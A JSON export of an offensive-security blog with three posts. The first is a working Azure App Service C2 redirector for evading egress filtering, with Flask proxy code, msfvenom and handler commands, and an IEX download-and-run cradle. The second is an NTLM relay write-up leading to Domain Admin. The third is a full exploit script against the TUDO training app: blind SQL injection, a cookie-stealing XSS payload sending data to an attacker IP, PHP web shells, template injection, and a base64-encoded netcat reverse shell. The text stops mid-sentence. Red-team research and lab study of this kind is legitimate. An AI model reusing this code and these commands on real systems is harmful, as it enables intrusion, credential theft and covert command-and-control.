
[{"content":"root@blindsec:~$ whoami k4z0 — offensive security research root@blindsec:~$ cat ./focus red teaming · AV/EDR evasion · exploit development · source code review root@blindsec:~$ ls -1 ./ posts/ technique writeups and research writeups/ exploit dev, CTF and code review ","date":"16 August 2025","externalUrl":null,"permalink":"/","section":"","summary":"","title":"","type":"page"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/azure/","section":"Tags","summary":"","title":"Azure","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/c2/","section":"Tags","summary":"","title":"C2","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/egress-filtering/","section":"Tags","summary":"","title":"Egress Filtering","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/categories/posts/","section":"Categories","summary":"","title":"Posts","type":"categories"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/python/","section":"Tags","summary":"","title":"Python","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/red-team/","section":"Tags","summary":"","title":"Red Team","type":"tags"},{"content":"","date":"16 August 2025","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"During a recent Remote Desktop Breakout assessment on a system with egress filtering enabled, I discovered that traffic to certain Microsoft-related endpoints, such as *.azurewebsites.net and *.blob.core.windows.net , was allowed (unfortunately *.cloudapp.azure.com was blocked).\nSide note: Check out this script that simulates keyboard typing of whatever is in the clipboard. Useful for Citrix or other break out assessments.\nAfter a quick sanity check, I decided it was worth checking whether I could set up a web app as a reverse proxy and establish a C2 channel over HTTP(S), since I had already found a way to bypass the AV. After some trial and error, I finally managed to obtain a session.\nIn this post, I’ve taken things a step further by adding a file download feature to the same web app that acts as the reverse proxy, making it easier to deliver and execute the payload on the remote system.\nHigh level overview:\nCreate the App Service from the Azure Portal # After logging into the Azure Portal, create a new Web App under App Services. I’ll be using Python because I like its flexibility and it makes adding new features or checks easier if needed.\nAfter the resource is created, there are a few things we need to configure before deploying the code. First, if you want the web app to handle and forward HTTP traffic in addition to HTTPS, make sure the \u0026ldquo;HTTPS Only\u0026rdquo; setting is set to \u0026ldquo;Off\u0026rdquo; under \u0026ldquo;Configuration\u0026rdquo;:\nI will deploy the code using a ZIP file. In that case, according to the official documentation, we need to enable \u0026ldquo;build automation\u0026rdquo;. Among other things, this ensures that Azure will install the python dependencies from our \u0026ldquo;requirements.txt\u0026rdquo; file. Build automation can be enabled by adding the following environment variable:\nApp Service source code # This is the code I\u0026rsquo;ll be using for the web app:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from flask import Flask, request, Response import requests app = Flask(__name__) domain = \u0026#34;c2.blindsecurity.gr\u0026#34; payloaduri = \u0026#34;payload124867931\u0026#34; downloaduri = \u0026#34;download124867931\u0026#34; ALLOWED_METHODS = [\u0026#34;GET\u0026#34;, \u0026#34;POST\u0026#34;, \u0026#34;PUT\u0026#34;, \u0026#34;DELETE\u0026#34;, \u0026#34;PATCH\u0026#34;, \u0026#34;OPTIONS\u0026#34;, \u0026#34;HEAD\u0026#34;] def proxy_request(target_url): try: # Forward headers, excluding \u0026#39;Host\u0026#39; to avoid conflicts headers = {k: v for k, v in request.headers.items() if k.lower() != \u0026#39;host\u0026#39;} resp = requests.request( method=request.method, url=target_url, headers=headers, data=request.get_data(), params=request.args, cookies=request.cookies, verify=False, allow_redirects=False ) excluded_headers = {\u0026#39;content-encoding\u0026#39;, \u0026#39;transfer-encoding\u0026#39;, \u0026#39;content-length\u0026#39;, \u0026#39;connection\u0026#39;} response_headers = [(k, v) for k, v in resp.headers.items() if k.lower() not in excluded_headers] return Response(resp.content, status=resp.status_code, headers=response_headers) except Exception as e: #return Response(f\u0026#34;Error: {str(e)}\u0026#34;, status=500) return Response(\u0026#34;Internal Server Error\u0026#34;, status=500) @app.route(\u0026#39;/\u0026#39;, defaults={\u0026#39;path\u0026#39;: \u0026#39;\u0026#39;}, methods=ALLOWED_METHODS) @app.route(\u0026#39;/\u0026lt;path:path\u0026gt;\u0026#39;, methods=ALLOWED_METHODS) def catch_all(path): return Response(\u0026#34;Access Denied\u0026#34;, status=403) @app.route(f\u0026#39;/{downloaduri}\u0026#39;, methods=ALLOWED_METHODS) def proxydownload(): url = request.args.get(\u0026#39;url\u0026#39;) if not url: return \u0026#34;Missing \u0026#39;url\u0026#39; parameter\u0026#34;, 400 return proxy_request(url) @app.route(f\u0026#39;/{payloaduri}/\u0026#39;, defaults={\u0026#39;path\u0026#39;: \u0026#39;\u0026#39;}, methods=ALLOWED_METHODS) @app.route(f\u0026#39;/{payloaduri}/\u0026lt;path:path\u0026gt;\u0026#39;, methods=ALLOWED_METHODS) def proxy(path): protocol = request.headers.get(\u0026#39;X-Forwarded-Proto\u0026#39;, \u0026#39;http\u0026#39;) scheme = \u0026#39;https\u0026#39; if protocol == \u0026#39;https\u0026#39; else \u0026#39;http\u0026#39; target_url = f\u0026#34;{scheme}://{domain}/{payloaduri}/{path}\u0026#34; return proxy_request(target_url) if __name__ == \u0026#34;__main__\u0026#34;: app.run(host=\u0026#34;127.0.0.1\u0026#34;, port=5000) You can download remote files from direct links using a request like this: https://apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net/download124867931?url=http://c2.blindsecurity.gr:8080/out.ps1 For the C2 communication, the web app will only forward requests that it receives on a specific path, in this case /payload124867931 . This effectively acts as a filter to prevent irrelevant traffic from reaching our C2 server. Any other request will result to an Access Denied (403) response. Replace the domain and uri values as needed. While we can use an IP address, using a domain is more convenient because we can simply update the DNS record if needed. Otherwise, updating the IP would require redeploying the app. In case there is an error, e.g. the C2 server is not listening or the domain cannot be resolved, the application will simply respond with Internal Server Error (500). You could uncomment line 34 to get a detailed message for debugging purposes. You can use python3 app.py to run the app locally to test it before deployment. Save the source code in a file named app.py and create a requirements.txt file in the same folder with the following content:\nFlask requests Deploy the web app to Azure # Open a terminal on the same folder with app.py and requirements.txt and run the following commands:\nzip deployment.zip app.py requirements.txt az login az webapp deploy --name apiservice3 --resource-group test --src-path deployment.zip Deployment might take a minute, but hopefully it will complete without errors. If you get errors during deployment, they are most likely caused by file formatting issues (e.g. blank lines in the requirements.txt file).\nIf everything goes well, you should see something like the following when visiting the web app URL:\nDemo # Now that our app is ready to accept requests and forward them, we can configure Metasploit.\nPayloads can be generated using a command like below, you just need to define the Azure web app URL and the payloaduri path specified on the source code. I will be using a stageless HTTPS payload:\nmsfvenom -p windows/x64/meterpreter_reverse_https LHOST=apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net LURI=/payload124867931 LPORT=443 -f psh-net -o out.ps1 A command like the following can be used to start the server:\nmsfconsole -q -x \u0026#34;use exploit/multi/handler; set payload windows/x64/meterpreter_reverse_https; set lport 443; set lhost c2.blindsecurity.gr; set luri /payload124867931; set exitonsession false; exploit -j\u0026#34; In order to take advantage of the file download functionality that is implemented in our web app, we can use the following command to execute the payload:\nIEX(iwr -uri \u0026#39;https://apiservice3-ggeqhzheh8gtajex.westeurope-01.azurewebsites.net/download124867931?url=http://c2.blindsecurity.gr:8080/out.ps1\u0026#39; -usebasicparsing) After triggering the payload, we get a session:\nThe source IP indeed belongs to Microsoft:\nConclusion # Even though this is not an ideal C2 channel, and tunneling through it would be very slow or maybe unusable, it can definitely be helpful in situations where egress filtering is applied and there are no other options.\n","date":"16 August 2025","externalUrl":null,"permalink":"/posts/azure-app-services-c2-network-filtering-evasion/","section":"Posts","summary":"Turning an Azure App Service into a reverse proxy and payload host to punch a C2 channel through egress filtering.","title":"Using Microsoft Azure App Services to Evade Network Filtering and Establish a C2 channel","type":"posts"},{"content":"","date":"16 June 2025","externalUrl":null,"permalink":"/tags/active-directory/","section":"Tags","summary":"","title":"Active Directory","type":"tags"},{"content":"NTLM relay attacks are still one of the most effective techniques for compromising Active Directory environments. Even though these attacks have been documented for years, the misconfigurations that make them possible are extremely common, often giving us a direct path to domain compromise.\nDuring a recent penetration test, we had the opportunity to experiment with several credential relay scenarios in Active Directory. It proved to be a lot of fun and highly impactful at the same time.\nThe environment we tested had multiple misconfigurations that made NTLM relay attacks possible - no SMB signing on several servers, no LDAP signing on the Domain Controller, and no EPA enforcement. These common issues allowed us to chain together various relay techniques, starting with basic SMB share access and escalating all the way to SYSTEM command execution and Domain Admin privileges.\nThis post will cover four different scenarios:\nNTLM relay from SMB to SMB to access shares. NTLM cross-protocol relay from HTTP to LDAP (targeting users) to abuse user privileges. NTLM cross-protocol relay from HTTP to LDAP (targeting machine accounts) to get SYSTEM command execution via Resource-Based Constrained Delegation (RBCD). WebClient (WebDAV) abuse: NTLM cross-protocol relay from HTTP to LDAP to achieve SYSTEM access (as in 3). What makes these attacks particularly interesting is their reliability. Despite being well-known techniques, the misconfigurations that enable them are still widespread in enterprise environments, making them a go-to option during penetration tests.\nCross Protocol Relay Compatibility # Some of these attacks rely on cross-protocol relay compatibility.For reference, the following table (from here) summarizes most scenarios.\nIf you are interested in diving deeper into the specifics as of how and why this works (or why it doesn’t in some cases), hackndo have provided an excellent blog post.\nThe important thing to note is that authentication embedded in HTTP requests can be relayed to LDAP, if signing and EPA is not required.\nRelay to SMB to access shares # The first scenario is fairly simple and is based on the fact that many systems were accessible where SMB signing was not required:\nFor the attacks that follow, we use Responder to poison name resolution requests and redirect authentication attempts to our system. We also disable Responder’s built-in SMB and HTTP servers, as we’ll be using ntlmrelayx to handle those protocols.\nWhile Responder was running, we launched ntlmrelayx. We configured it to:\nCreate SOCKS tunnels for each successful relay. Enable SMB2 support. Target hosts listed in/home/john/temp/relay.out By default, ntlmrelayx targets SMB (source).\nNote that we did not use the --keep-relaying option in this scenario. Due to this, once an authenticated session is established against a target server, ntlmrelayx will not attempt to authenticate to the same target again, even if a new authentication attempt is captured from a different user. This is not ideal, because ultimately we would like to achieve as many sessions as possible, hoping that one of the victim users will have higher privileges against the target. However, this can quickly result to a very large number of sessions, which will make it hard to keep track of them, especially if we are testing against a large number of targets.\nAfter waiting for a few minutes, we can use the socks command from ntlmrelayx’s console to list available sessions:\nIn order to use an established session, first we have to setup our proxy client to connect through the port we specified on our ntlmrelayx command, which in our case is 1081.\nThen, we can use any tool and provide the username as shown on the output of the socks command. We can enter any password when prompted; ntlmrelayx will proxy the request using the existing session context.\nIn the following images, we can see that the victim user ‘LOUISE’ has access to theC share, whereas our testing user ‘lrqa.nettitude’ does not:\nRelay HTTP to LDAP # User Account\nFor the following scenarios, we will demonstrate cross protocol relay attacks from HTTP to LDAP. As mentioned earlier, these attacks were possible because the target Domain Controller did not use LDAP signing or EPA (Extended Protection for Authentication):\nThis time we use ntlmrelayx specifying the LDAP service on the Domain Controller as the target. We also set the -i argument to request an interactive console and the --keep-relaying option that was explained earlier:\nDue to Responder’s request poisoning, after a while we receive a user authentication attempt:\nA quick lookup revealed that the user was a member of the “Enterprise Admins” built in AD group:\nSince the authentication was successful, ntlmrelayx created a new console, accessible on local port 11051. Below you can see the available commands.\nFor this scenario, we used the session to add our testing account to the \u0026lsquo;Domain Admins\u0026rsquo; group.\nAs shown below, the operation completed successfully:\nMachine Accounts # As in the previous case, if we capture an authentication attempt from a machine account, we can abuse it using Resource-based constrained delegation (or Shadow Credentials) to get SYSTEM command execution on the target.\nThe key to this attack lies in the fact that, in an Active Directory environment, the machine account has permission to update its own msDS-AllowedToActOnBehalfOfOtherIdentity attribute. This attribute can be modified to include a controlled entity with a Service Principal Name (SPN). By using this controlled entity, we can request Kerberos tickets for the victim system, impersonating any user. (Note that this may not be true in some cases, such as when the user is part of the \u0026lsquo;Protected Users\u0026rsquo; group.)\nThe easiest way to get our hands on an account with an SPN, is to add a new machine account to the domain, since any user can add up to 10 machine accounts by default and no special privileges are required. If this was not possible, we could use a compromised service account or proceed with a Shadow Credentials attack.\nDue to Responder running in the background, we observed that ntlmrelayx successfully relayed credentials from the PC-****$ machine account to the Domain Controller:\nUsing the LDAP console from ntlmrelayx once again, we can update the RBCD property of the target to include our newly created machine account:\nFinally, using the controlled machine account we created previously, we can request tickets for the target system impersonating other users. In this case we targeted the SMB (cifs) service and used \u0026lsquo;smbexec\u0026rsquo; to get command execution as SYSTEM.\nWebClientService # The previous attacks depend on passively intercepting authentication traffic, such as broadcast lookups or name resolution requests we can poison. However, in some environments, such traffic may never occur, or it may be too infrequent to rely on.\nIn such cases we can target the WebClient (WebDAV) service. If it’s enabled on a host, we can actively coerce it to initiate an authentication attempt to our system.\nWe can use netexec to check if it is enabled:\nOnce again, we start ntlmrelayx, this time listening on port 8888 for HTTP connections. Since we will be coercing the WebDAV service to connect back to us, we are using a custom port as a means to filter the rest of the authentication attempts:\nWe used PetitPotam to trigger the WebDAV client to connect back to us. The coercion will work only if the target system deems our machine as trusted. One way to achieve this is via DNS (e.g. adding a DNS record pointing to our IP) but an easier method is to use a fake NetBIOS name and let Responder respond to the lookup request, associating the fake name with our attacking IP.\nTo trigger authentication, we only need a standard AD account:\nResponder captures the name lookup request and resolves the arbitrary name to our attacking IP:\nBack in our ntlmrelayx console we get the authentication attempt:\nFrom this point we can proceed as previously in order to perform a RBCD attack and get SYSTEM command execution on the target:\nClean up # After gathering the required evidence, as penetration testers we should revert all changes made during the attacks:\nVerify that the machine account used for the RBCD attack is the only one currently present in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the target machine. Clear the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Delete the machine (computer) account used for the attack. Remove the test user from the \u0026lsquo;Domain Admins\u0026rsquo; group. Conclusion # The relay attacks covered in this post demonstrate just how impactful NTLM relay vulnerabilities can be in Active Directory environments. From basic SMB share access to achieving SYSTEM privileges through RBCD attacks, these techniques provided multiple paths to domain compromise during our engagement.\nWhat made these attacks particularly effective was the combination of missing security controls -no SMB signing, no LDAP signing, and no EPA enforcement. These misconfigurations are surprisingly common and, as we\u0026rsquo;ve shown, highly exploitable. The WebDAV coercion technique proved especially useful, allowing us to trigger authentication on demand rather than waiting for broadcast traffic.\nFor defenders, the remediation is straightforward: enforce SMB and LDAP signing, enable EPA where possible, and regularly audit for these configurations. For penetration testers, these techniques can consistently deliver impactful results in real-world engagements.\nOriginally approved and published on LRQA Labs (alt)\n","date":"16 June 2025","externalUrl":null,"permalink":"/posts/hash-relaying-the-path-to-domain-admin/","section":"Posts","summary":"Four NTLM relay scenarios from a real engagement, chaining SMB share access up to SYSTEM execution and Domain Admin.","title":"Hash Relaying: The path to Domain Admin","type":"posts"},{"content":"","date":"16 June 2025","externalUrl":null,"permalink":"/tags/impacket/","section":"Tags","summary":"","title":"Impacket","type":"tags"},{"content":"","date":"16 June 2025","externalUrl":null,"permalink":"/tags/ntlm-relay/","section":"Tags","summary":"","title":"NTLM Relay","type":"tags"},{"content":"","date":"16 June 2025","externalUrl":null,"permalink":"/tags/pentest/","section":"Tags","summary":"","title":"Pentest","type":"tags"},{"content":"","date":"16 June 2025","externalUrl":null,"permalink":"/tags/rbcd/","section":"Tags","summary":"","title":"RBCD","type":"tags"},{"content":"While preparing for OSWE, a colleague of mine recommended this web app which combines a lot of diferrent vulnerabilities. Indeed it was a very good practise as a source code review. Creating an all-in-one script was also fun. https://github.com/bmdyy/tudo\nEssential imports for the code that follows:\nimport concurrent.futures import threading from base64 import urlsafe_b64decode from http import cookies from http.server import BaseHTTPRequestHandler, HTTPServer import requests import multiprocessing import subprocess Blind SQL injection # By reviewing the source code, we can see that the forgotusername.php page is the only area which is vulnerable to SQL injection beacuse the username value is inserted into the query unsanitized and because the app is not using a parameterized query: So we can use this to obtain the SHA256 hash of a user. By the way the page is also vulnerable to username enumeration so we can get valid usernames, \u0026ldquo;admin\u0026rdquo; being one of them. The template for the code below is taken from this helpful repo: https://github.com/rizemon/exploit-writing-for-oswe\nMAX_WORKERS = 20 HASH_LENGTH = 64 def exfiltrate_hash(): def boolean_sqli(arguments): idx, ascii_val = arguments character = chr(ascii_val) proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } # Note user1 is a valid user. In this case I couldn\u0026#39;t get it to work with OR. Just use a valid username and \u0026#39;AND\u0026#39;. payload = \u0026#34;admin\u0026#39; and substring(password,\u0026#34; + str(idx) + \u0026#34;,1)=\u0026#39;\u0026#34; + character + \u0026#34;\u0026#39;; -- \u0026#34; data1 = { \u0026#34;username\u0026#34;: payload } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } r = requests.post(\u0026#34;http://172.17.0.2/forgotusername.php\u0026#34;, data=data1, headers=headers1, proxies=proxies1) truth = False if \u0026#34;User exists!\u0026#34; in r.text: truth = True return ascii_val, truth result = \u0026#34;\u0026#34; # Go through each character position for idx in range(HASH_LENGTH): # Use MAX_WORKERS threads to test possible ASCII values in parallel with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # Pass each of (0, 32), (0, 33) ..., (0, 126) as an argument to boolean_sqli() responses = executor.map(boolean_sqli, [(idx, ascii_val) for ascii_val in range(32, 126)]) # Go through each response and determine which ASCII value is correct for ascii_val, truth in responses: if truth: result += chr(ascii_val) print(result) break return result hash = exfiltrate_hash() print(\u0026#34;Hash: \u0026#34; + hash) After running this code we can get a nice hash that we can try to crack: Login bypass # For the login bypass we can easily determine that we must do something with the reset password functionality. The vulnerability lies in the fact that the application uses predictable parameters for the srand php function, so the output can be deterministic: Microtime is the current Unix timestamp with microseconds but as you can see it is multiplied by 1000 and it is rounded. So theoretically if we could run this function on our own attacker\u0026rsquo;s system at the exact time it is run on the target system we could get them same token (basically we have a margin of error due to the round here). But there is no need for that, we can simply get a rough value and then generate all the possible tokens that are near this value.\nHere is the same function in a php file called generate_token.php which takes the seed as an argument:\n\u0026lt;?php function generateToken($seed) { srand($seed); $chars = \u0026#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_\u0026#39;; $ret = \u0026#39;\u0026#39;; for ($i = 0; $i \u0026lt; 32; $i++) { $ret .= $chars[rand(0,strlen($chars)-1)]; } return $ret; } echo generateToken($argv[1]).\u0026#34;\\n\u0026#34;; ?\u0026gt; Also here is another php file called gettime.php that simply returns the seed we will use as a basis for our bruteforce:\n\u0026lt;?php echo (round(microtime(true) * 1000)); ?\u0026gt; First send the forgot password request so the token is saved in the database in the web app:\ndef forgot_pass(): proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;username\u0026#34;: \u0026#34;user1\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } resp_obj = requests.post(\u0026#34;http://172.17.0.2/forgotpassword.php\u0026#34;, data=data1, headers=headers1) print(\u0026#34;Send forgot password request\u0026#34;) Then we use a for loop to get possible seeds near the propable value and we use those seeds to generate tokens. Finally we try to reset the password using each token until we hit the correct one.\ndef reset_password(seed): token = subprocess.run([\u0026#39;php\u0026#39;, \u0026#39;-f\u0026#39;, \u0026#39;/home/john/temp/generate_token.php\u0026#39;, str(seed)], stdout=subprocess.PIPE).stdout.decode(\u0026#39;utf-8\u0026#39;).replace(\u0026#34;\\n\u0026#34;, \u0026#34;\u0026#34;) proxies = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;token\u0026#34;: token, \u0026#34;password1\u0026#34;: \u0026#34;SuperStrongPass\u0026#34;, \u0026#34;password2\u0026#34;: \u0026#34;SuperStrongPass\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } resp_obj = requests.post(\u0026#34;http://172.17.0.2/resetpassword.php\u0026#34;, data=data1, headers=headers1) if \u0026#34;Password changed!\u0026#34; in resp_obj.text: print(\u0026#34;Found matching token: \u0026#34; + token) currtime = int(subprocess.run([\u0026#39;php\u0026#39;, \u0026#39;-f\u0026#39;, \u0026#39;/home/john/temp/gettime.php\u0026#39;], stdout=subprocess.PIPE).stdout.decode(\u0026#39;utf-8\u0026#39;)) forgot_pass() adjuster = 1000 pool1 = multiprocessing.Pool() pool1 = multiprocessing.Pool(processes=4) outputs1 = pool1.map(reset_password, [seed for seed in range(currtime-adjuster, currtime+adjuster)]) Output: Now that we have changed the password for the target user lets create a session and login:\nsession1 = requests.Session() def tudo_login(): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;username\u0026#34;: \u0026#34;user1\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;SuperStrongPass\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } session1.post(\u0026#34;http://172.17.0.2/login.php\u0026#34;, data=data1, headers=headers1) tudo_login() Privilege escalation to admin # After exploring the application source code we can see in the index page that if the logged in user is admin, a new area is rendered with a list of all the users. This area includes the data of the users (username, password\u0026hellip;) including a field named \u0026ldquo;description\u0026rdquo;. More importantly those values are added in the html without being sanitized. (E.g. the posts ARE sanitized using \u0026lsquo;htmlentities\u0026rsquo;, but the user data in admin session are not)\nSo all we have to do is to update our compromised user\u0026rsquo;s profile description field to include a JS cookie stealer and wait for an admin to visit the index page. The code below also sets up an automated server to capture the cookie and use it in a new session.\ndef update_profile_description(): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;description\u0026#34;: \u0026#34;\u0026lt;/td\u0026gt;\u0026lt;script\u0026gt;fetch(\\\u0026#34;http://172.17.0.1:8000/?cookie=\\\u0026#34;+encodeURIComponent(btoa(document.cookie)));\u0026lt;/script\u0026gt;\u0026lt;td\u0026gt;\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } session1.post(\u0026#34;http://172.17.0.2/profile.php\u0026#34;, data=data1, headers=headers1) update_profile_description() LHOST = \u0026#34;172.17.0.1\u0026#34; WEB_PORT = 8000 session2 = requests.Session() def start_web_server(): class MyHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.end_headers() # Load stolen cookie into session _, enc_cookie = self.path.split(\u0026#34;/?cookie=\u0026#34;, 1) plain_cookie = urlsafe_b64decode(enc_cookie).decode() session2.cookies[\u0026#34;PHPSESSID\u0026#34;] = cookies.SimpleCookie(plain_cookie)[\u0026#34;PHPSESSID\u0026#34;] assassin = threading.Thread(target=self.server.shutdown) assassin.daemon = True assassin.start() httpd = HTTPServer((LHOST, WEB_PORT), MyHandler) server = threading.Thread(target=httpd.serve_forever()).start() start_web_server() update_profile_description() print(\u0026#34;Stolen cookie: \u0026#34;, session2.cookies[\u0026#34;PHPSESSID\u0026#34;]) Output:\nNow session2 will contain the admin cookie and we could abuse admin functionality.\nRCE - Unserialize # In order to craft the payload and understand the technique I read this article: https://pswalia2u.medium.com/php-serialization-friend-or-foe-lets-try-to-exploit-640d2ad01f5b\nSo basically from the import_user.php page we can see that \u0026ldquo;unserialize\u0026rdquo; is called on attacker controlled data:\nAnd this is the utils.php file where the User class resides:\nThere is also a Log class there that allows us to write whatever content we want and save it to whatever file we want using file_put_contents.\ndef admin_unserialize(): global session2 payload = \u0026#39;O:4:\u0026#34;User\u0026#34;:3:{s:8:\u0026#34;username\u0026#34;;O:3:\u0026#34;Log\u0026#34;:2:{s:1:\u0026#34;f\u0026#34;;s:8:\u0026#34;test.php\u0026#34;;s:1:\u0026#34;m\u0026#34;;s:113:\u0026#34;\u0026lt;?php if(isset($_REQUEST[\u0026#34;cmd\u0026#34;])){ echo \u0026#34;\u0026lt;pre\u0026gt;\u0026#34;; $cmd = ($_REQUEST[\u0026#34;cmd\u0026#34;]); system($cmd); echo \u0026#34;\u0026lt;/pre\u0026gt;\u0026#34;; die; }?\u0026gt;\u0026#34;;}s:5:\u0026#34;test\u0026#34;;s:8:\u0026#34;password\u0026#34;;s:5:\u0026#34;test\u0026#34;;s:11:\u0026#34;description\u0026#34;;s:5:\u0026#34;test\u0026#34;;}\u0026#39; proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;userobj\u0026#34;: payload } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } session2.post(\u0026#34;http://172.17.0.2/admin/import_user.php\u0026#34;, data=data1, headers=headers1) admin_unserialize() So our payload basically follows this format:\nobject:length_of_name:name:length_of_parameters{type_of_parameter(str):length_of_value:value; etc\u0026hellip;}.\nThe important thing to note here is that instead of a parameter we can simply use a new object and in our case call the Log class to write to files. I chose to write a new php shell so we can use it to execute commands like this:\ndef admin_rce_unserialize(command): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } resp_obj = requests.get(\u0026#34;http://172.17.0.2/admin/test.php?cmd=\u0026#34; + command, headers=headers1) return resp_obj.text[5:-7] out = admin_rce_unserialize(\u0026#34;uname -a\u0026#34;) print(out) RCE - Template injection (SSTI) # The next way to obtain RCE is through template injection. Specifically on the update_motd.php file we can post some data with the \u0026lsquo;message\u0026rsquo; parameter that will be saved on a template file:\nThis file will then be rendered on the index.php page:\nSo we can simply use a php SSTI payload and execute php code. The output will be rendered on the index page, so by visiting this page we can get the output of our command:\ndef admin_motd(command): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } data1 = { \u0026#34;message\u0026#34;: \u0026#34;start1337{php}echo `\u0026#34; + command + \u0026#34;`;{/php}end1337\u0026#34; } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34;, } session2.post(\u0026#34;http://172.17.0.2/admin/update_motd.php\u0026#34;, data=data1, headers=headers1) resp_obj = session2.get(\u0026#34;http://172.17.0.2/index.php\u0026#34;) return resp_obj.text.split(\u0026#34;start1337\u0026#34;)[1].split(\u0026#34;end1337\u0026#34;)[0][:-1] print(admin_motd(\u0026#34;id\u0026#34;)) The payload was taken from https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#smarty\nRCE - Image upload # Another way to obtain RCE is by uploading an image. The upload_image.php file checks and blocks several php executable file types but it does not block .phar files. But we have one more problem. The web app needs to be able to call getimagesize() on the uploaded file without getting errors. This can be bypassed by (ab)using the GIF format which offers a more abstract structure. Finally we have to make sure that we use one of the allowed mime types: (Basically the hardest part here was to figure out how to upload the file with all the required parameters using the requests library)\ndef admin_image(command): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } payload = \u0026#39;GIF89;\u0026lt;?php system(\u0026#34;\u0026#39; + command + \u0026#39;\u0026#34;) ?\u0026gt;\u0026#39; files1 = {\u0026#39;image\u0026#39;: (\u0026#39;test.phar\u0026#39;, payload, \u0026#39;image/gif\u0026#39;)} session2.post(\u0026#34;http://172.17.0.2/admin/upload_image.php\u0026#34;,files=files1) resp_obj = session2.get(\u0026#34;http://172.17.0.2/images/test.phar\u0026#34;) return resp_obj.text[6:] print(admin_image(\u0026#34;dir\u0026#34;)) RCE - PostgresSQL injection # This method is EXACTLY similar to what is taught on OSCP (or at least was when I did the course)\ndef forgotusername_rce(): proxies1 = { \u0026#34;http\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34;, \u0026#34;https\u0026#34;: \u0026#34;http://127.0.0.1:8080\u0026#34; } payload = \u0026#34;test\u0026#39;;DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(cmd_output text); COPY cmd_exec FROM PROGRAM \u0026#39;echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxzaCAtaSAyPiYxfG5jIDE3Mi4xNy4wLjEgNDQ0NCA+L3RtcC9mCg== | base64 -d | bash\u0026#39;; DROP TABLE IF EXISTS cmd_exec; --\u0026#34; data1 = { \u0026#34;username\u0026#34;: payload } headers1 = { \u0026#34;Content-Type\u0026#34;: \u0026#34;application/x-www-form-urlencoded\u0026#34; } requests.post(\u0026#34;http://172.17.0.2/forgotusername.php\u0026#34;,data=data1, headers=headers1, proxies=proxies1) forgotusername_rce() As we knew from the beginning, the forgotusername.php file was vulnerable to SQL injection, so by using the \u0026lsquo;FROM PROGRAM\u0026rsquo; statement it is possible to achieve 